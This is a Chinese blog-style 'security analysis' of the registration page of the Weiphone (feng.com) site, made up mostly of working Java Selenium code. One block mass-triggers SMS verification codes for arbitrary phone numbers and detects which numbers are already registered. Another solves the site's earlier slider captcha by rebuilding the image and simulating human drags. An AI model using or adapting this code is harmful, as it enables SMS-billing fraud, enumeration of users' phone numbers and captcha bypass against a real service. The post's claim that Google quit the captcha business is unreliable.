前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
1. 暴力破解密码,造成用户信息泄露
2. 短信盗刷的安全问题,影响业务及导致用户投诉
3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 威锋网PC 注册入口
简介: 威锋网自建立之日起一直是人气中文iPhone社区,给广大iPhone爱好者提供了一个自由交流,探讨,学习的平台,为iPhone在中国的应用及普及发挥了领军作用。
二、 安全性分析报告:
前端界面分析,威锋网未采取任何验证措施,存在验证的安全隐患,同行一般会在注册下发短信验证码时采用图形验证、行为验证方式。
三、 测试方法:
1 模拟器交互部分
private final String INDEX_URL = "https://www.feng.com/";
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
try {
RetEntity retEntity = new RetEntity();
driver.get(INDEX_URL);
Thread.sleep(1000);
driver.findElement(By.xpath("//a[text()='注册']")).click();
WebElement nameElemet = driver.findElement(By.xpath("//input[@placeholder='请输入用户名']"));
nameElemet.sendKeys("top_" + phone);
// 输入手机号
WebElement phoneElemet = driver.findElement(By.xpath("//input[@placeholder='请输入手机号']"));
phoneElemet.sendKeys(phone);
// 点击发送验证码按钮
WebElement sendElemet = driver.findElement(By.xpath("//div/span[text()='获取验证码']"));
if (sendElemet != null)
sendElemet.click();
Thread.sleep(1);
WebElement exitsElement = ChromeDriverManager.waitElement(driver, By.className("ivu-message-notice-content-text"), 15);
String exitsInfo = (exitsElement != null) ? exitsElement.getText() : null;
if (exitsInfo != null) {
System.out.println("phone=" + phone + ",exitsInfo=" + exitsInfo);
retEntity.setMsg(exitsInfo);
retEntity.setRet(0);
return retEntity;
}
Thread.sleep(1000);
WebElement gtElemet = ChromeDriverManager.waitElement(driver, By.xpath("//div/span[@class='count']"), 5);
String gtInfo = (gtElemet != null) ? gtElemet.getText() : null;
retEntity.setMsg(gtInfo);
if (gtInfo != null && gtInfo.contains("重新获取")) {
retEntity.setRet(0);
} else {
System.out.println("gtInfo=" + gtInfo);
}
return retEntity;
} catch (Exception e) {
System.out.println("phone=" + phone + ",e=" + e.toString());
for (StackTraceElement ele : e.getStackTrace()) {
System.out.println(ele.toString());
}
return null;
} finally {
driver.manage().deleteAllCookies();
}
}
2 测试结果输出,测试中发现,如果手机号已注册,会直接提示该手机号已注册
由于碰到严重设计缺陷,本次测评非常简单
附早期的代码,采用的行为验证:
@Override
public RetEntity reg(CloseableHttpClient httpclient, CookieStore cookieStore, Hashtable<String, String> input, String phone) {
RetEntity retEntity = new RetEntity();
System.setProperty("webdriver.chrome.driver", OCRUtil.chromePath + File.separator + "chromedriver.exe");
WebDriver driver = new ChromeDriver();
try {
driver.get(INDEX_URL);
// 输入手机 号 密码 确认密码
WebElement inputPhoneElemet = driver.findElement(By.xpath("//input[@name='phone_number']"));
inputPhoneElemet.sendKeys(phone);
// 获取验证码点击按钮[a id=validation_code]
By getCodeBtn = By.cssSelector("#validation_code");
WebElement getCodeElemet = driver.findElement(getCodeBtn);
getCodeElemet.click();
sleep(2000);
// 点球点
By moveBtn = By.cssSelector(".feng_captcha_block_piece.feng_captcha_slider_piece");
WebElement moveElemet = driver.findElement(moveBtn);
// 移动距离点(左门柱)
int[][] distance = getMoveDistance(driver, WeiFeng.class.getSimpleName(), phone);
// 移动
move(driver, moveElemet, distance);
retEntity.setRet(0);
return retEntity;
} catch (Exception e) {
logger.error(e.toString());
retEntity.setRet(-1);
return retEntity;
} finally {
driver.quit();
delImg(WeiFeng.class.getSimpleName(), phone);// 删除图片
}
}
/**
* 移动 三次
*
* @param driver
* @param element
* @param distance
* @throws InterruptedException
*/
private static void move(WebDriver driver, WebElement element, int[][] distance) throws InterruptedException {
Actions actions = new Actions(driver);
for (int i = 2; i >= 0; i--) {
actions.clickAndHold(element).perform();// 按住鼠标左键不释放
int moveX = (distance[0][0] + 68 * i - 270) / 2;
int moveY = distance[1][0] + 34 * 2 - 500;
Thread.sleep(500 + new Random().nextInt(700));
actions.moveByOffset(moveX, moveY).perform();// 移动
Thread.sleep(300 + new Random().nextInt(300));
actions.release(element).perform();// 释放鼠标左键
}
}
/**
* 计算需要平移的距离
*
* @param driver
* @return
* @throws IOException
*/
public static int[][] getMoveDistance(WebDriver driver, String spCode, String phone) throws IOException {
String imgPrefix = spCode + phone;
String pageSource = driver.getPageSource();
String fullImageUrl = getFullImageUrl(pageSource);
FileUtils.copyURLToFile(new URL(fullImageUrl), new File(basePath + "result/" + imgPrefix + FULL_IMAGE_NAME + ".jpg"));
initMoveArray(driver);
// 把两张图片剪切后拼接还原
restoreImage(imgPrefix + FULL_IMAGE_NAME);
BufferedImage fullBI = ImageIO.read(new File(basePath + "result/" + imgPrefix + FULL_IMAGE_NAME + "result3.jpg"));
for (int j = fullBI.getHeight() / 2; j > fullBI.getHeight() / 3; j--) {
for (int i = 0; i < fullBI.getWidth(); i++) {
int[] fullRgb = new int[3];
fullRgb[0] = (fullBI.getRGB(i, j) & 0xff0000) >> 16;
fullRgb[1] = (fullBI.getRGB(i, j) & 0xff00) >> 8;
fullRgb[2] = (fullBI.getRGB(i, j) & 0xff);
if ((fullRgb[0] >= 38 && fullRgb[0] <= 77) && (fullRgb[1] >= 38 && fullRgb[1] <= 77) && (fullRgb[2] >= 38 && fullRgb[2] <= 77)) {
int[][] pos = new int[2][1];
pos[0][0] = i;
pos[1][0] = j;
return pos;
}
}
}
throw new RuntimeException("未找到需要平移的位置");
}
/**
* 获取move数组
*
* @param driver
*/
private static void initMoveArray(WebDriver driver) {
Document document = Jsoup.parse(driver.getPageSource());
Elements elements = document.select("[class=feng_captcha_image_wrap]").first().children();
int i = 0;
for (Element element : elements) {
Pattern pattern = Pattern.compile(".*background:.*"\\)(.*?)px (.*?)px.*");
Matcher matcher = pattern.matcher(element.toString());
if (matcher.find()) {
String width = matcher.group(1);
String height = matcher.group(2);
moveArray[i][0] = Integer.parseInt(width.trim());
moveArray[i++][1] = Integer.parseInt(height.trim());
} else {
throw new RuntimeException("解析异常");
}
}
}
/**
* 还原图片
*
* @param type
*/
private static void restoreImage(String type) throws IOException {
// 把图片裁剪为2 * 10份
for (int i = 0; i < 20; i++) {
ImageIOHelper.cutPic(basePath + "result/" + type + ".jpg", basePath + "result/" + type + i + ".jpg", -moveArray[i][0], -moveArray[i][1], 54, 250);
}
// 拼接图片
String[] b = new String[10];
for (int i = 0; i < 10; i++) {
b[i] = String.format(basePath + "result/" + type + "%d.jpg", i);
}
ImageIOHelper.mergeImage(b, 1, basePath + "result/" + type + "result1.jpg");
// 拼接图片
String[] c = new String[10];
for (int i = 0; i < 10; i++) {
c[i] = String.format(basePath + "result/" + type + "%d.jpg", i + 10);
}
ImageIOHelper.mergeImage(c, 1, basePath + "result/" + type + "result2.jpg");
ImageIOHelper.mergeImage(new String[] { basePath + "result/" + type + "result1.jpg", basePath + "result/" + type + "result2.jpg" }, 2, basePath + "result/" + type + "result3.jpg");
// 删除产生的中间图片
for (int i = 0; i < 20; i++) {
new File(basePath + "result/" + type + i + ".jpg").delete();
}
new File(basePath + "result/" + type + "result1.jpg").delete();
new File(basePath + "result/" + type + "result2.jpg").delete();
}
public void delImg(String spCode, String phone) {
File dirFile = new File(basePath + "result/");
if (!dirFile.exists()) {
logger.debug("文件目录不存在:" + basePath + "result/");
return;
}
File[] files = dirFile.listFiles();
String prefix = spCode + phone;
for (File file : files) {
if (file.getName().startsWith(prefix)) {
file.delete();
}
}
}
/**
* 从后台源码中获取原始图,然后转换成URL返回
*
* @param pageSource
* @return
*/
private static String getFullImageUrl(String pageSource) {
String url = null;
String divStr = null;
Document document = Jsoup.parse(pageSource);
Elements select = document.select("[class=feng_captcha_image_wrap]");
String style = select.html();
if (style != null) {
divStr = style.substring(0, style.indexOf("</div>"));
}
if (divStr != null) {
int beginIndex = divStr.indexOf(""") + 6;
int endIndex = divStr.lastIndexOf(""");
url = divStr.substring(beginIndex, endIndex);
}
return url;
}
二丶结语
威锋网作为IPHONE 在国内知名的媒体公司, 具有很高的人气和影响力,之前测试时记得好像是采用网易易盾的验证方式,在最近测试不知道为何去掉了, 是因为没钱了还是对安全的不重视,总之,测试结果就是随便你怎么攻击都可以,这也有点太开发了, 短信验证码难道不要钱吗 ? 这对黑客来说肯定是好消息, 弄个简单的脚本就可以搞定
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》